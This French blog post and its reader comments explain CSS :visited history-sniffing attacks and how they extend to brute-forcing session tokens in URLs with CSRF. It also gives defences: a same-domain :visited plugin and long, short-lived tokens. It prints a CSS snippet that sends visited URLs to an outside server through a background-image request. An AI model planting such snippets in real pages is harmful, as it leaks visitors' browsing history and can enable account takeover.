Des attaques en CSS !
Cascading Style Sheet
Aussi improbable que cela puisse paraitre, il est possible de construire une attaque en exploitant les failles du CSS (feuille de style).
Effectivement, le langage de feuille de style parait complètement inoffensif puisqu’il permet simplement de choisir, les couleurs, tailles, et quelques autres attributs des éléments d’une page web.
Cependant, une faille concernant l’historique a été découverte et à doucement évolué jusqu’à permettre des choses beaucoup plus vilaines 
.
Il était une fois …
Tout a commencé en 2006 avec la publication d’un POC (Proof of concept) permettant de deviner l’historique d’un visiteur.
En effet lorsque vous cliquez sur un lien, celui ci change de couleur après avoir été visité. Avec un peu de javascript, en mettant des liens vers quelques sites, on peut savoir si le visiteur a déjà visité les liens en question.
C’est pas très méchant, ça ne va pas très loin (on n’aura jamais l’historique entier vu que l’on doit spécifier chaque lien, et l’on doit utiliser du JS) mais c’est quand même un petit « information disclosure »
Pour aller encore plus loin
Par la suite, la faille a été un peu élargie avec quelques bonnes idées apportées mi-2009. Notamment l’utilisation exclusive de CSS et l’utilisation d’API de moteurs de recherche.
Pour cela, l’auteur à utilisé une petite technique empreinte au CSRF qui est d’afficher une image lorsque le lien a déja été visité. Manque de pot l’adresse de l’image est :
www.serveur.com/urlvisité.php?=www.mynameisthomas.com
Et hop le lien qui a déjà été visité (mynameisthomas.com) a été envoyé au serveur en parametre GET (?=***)
Bien sur, aucune image ne s’affiche mais ça, ce n’était pas le but.
Au final, pour chaque lien on a le morceau de code css suivant:
#lien1 { color: bleu; } #lien1:visited { color: rouge; background: url(http://server.com/url.php?url=site.com); }
On n’a donc plus recours au javascript, le blocage et la détection de l’attaque n’est donc plus aussi aisée.
Ensuite, l’utilisation des API comme celle d’Alexa qui référence et ordonne les 100 000 sites les plus consultés au monde augmente considérablement les chances de trouver des sites déjà consultés et donc de dresser un profil plus précis du visiteur.
Aucun rapport avec CounterStrikeSource 
Un peu trop loin..
Ce n’est que plus récemment que ces failles ont trouvés une utilité autre que celle de ravir les publicitaires: le bruteforcing de token.
Sans cette technique, il est extrêmement long de brutforcer un token, de plus cela est très visible et des limites de tentatives peuvent s’appliquer.
Combiné cette fois avec une attaque CSRF (Cross Site Request Forgery), il devient aisé de brutforcer les token (numéro de transaction/d’identification) et ainsi pouvoir effectuer des actions sur un compte (gmail ou facebook par exemple) de la victime sans même avoir son mot de passe.
Donc, si un site a comme paramètre dans son url, un numéro de validation comme c’est souvent le cas (heureusement) de la forme:
www.site.com/home.php?sessionid=12345
En testant cette url avec tous les sessionid possible comme on peut le faire avec tous les sites possibles, on le trouve très rapidement, c’est à dire, juste le temps qu’il faut pour charger la page soit environ 2min pour un id de 5 caractères hexadécimaux et beaucoup moins pour des caractères exclusivement numériques.
Et la ca commencer à faire très mal pour ce qui n’est, à la base, que du simple CSS !
Counter Strike
Pour se défendre contre ces attaques encore assez peu rependues, il existe un plugin pour firefox qui corrige la faille de base qui est simplement le fait d’activer l’attribut CSS « visited » seulement sur les liens qui on le même nom de domaine que celui ou est hébergé le fichier CSS
De cette facon, mynameisthomas.com peut savoir quelles pages vous avez visités sur son domaine (mynameisthomas.com/?p=1017 par exemple) mais pas que vous êtes allez faire un tour chez guiregcapitaine.com, et vice versa
Du côter des serveurs, il est naturellement recommandé d’utiliser des token de validation très long avec un temps d’expiration court, une seule utilisation si possible.
Petit bonus pour ceux qui ont tout lu : Bientôt une nouvelle vidéo d’une autre attaque assez proche de celle ci !
Comme d’habitude, j’attends vos éventuelles réactions avec impatience
J’ai bien lu votre article, merci pour l’info, je connaissais pas, mais j’avoue que j’ai pas trop bien compris, surtout où et comment ça marche (niveau code), et quelles sont les façon de faire et que récupère exactement le hackeur? (si j’ai bien compris il récupère des historiques?)
En fait le hacker place du code sur un page web, lorsque quelqu’un se rend sur cette page, le hacker peut récupérer l’historique de la victime sur son serveur.
Mais pire encore, certain sites légitimes places des nombres dans les URL. Ces nombres permettent d’identifier un utilisateur.
Si le hacker parvient a trouver ce nombre, il peut utiliser la session de la victime.
Tester tous les nombres est très long et pas très discret alors que récupérer ce nombre dans l’historique de la victime est très rapide
Si tu as d’autres questions n’hésite pas
We, bein moi je voulais savoir comment marche la nouvelle faille trouver sur twitter voila quoi, limite c’est cool comme idée d’article d’actu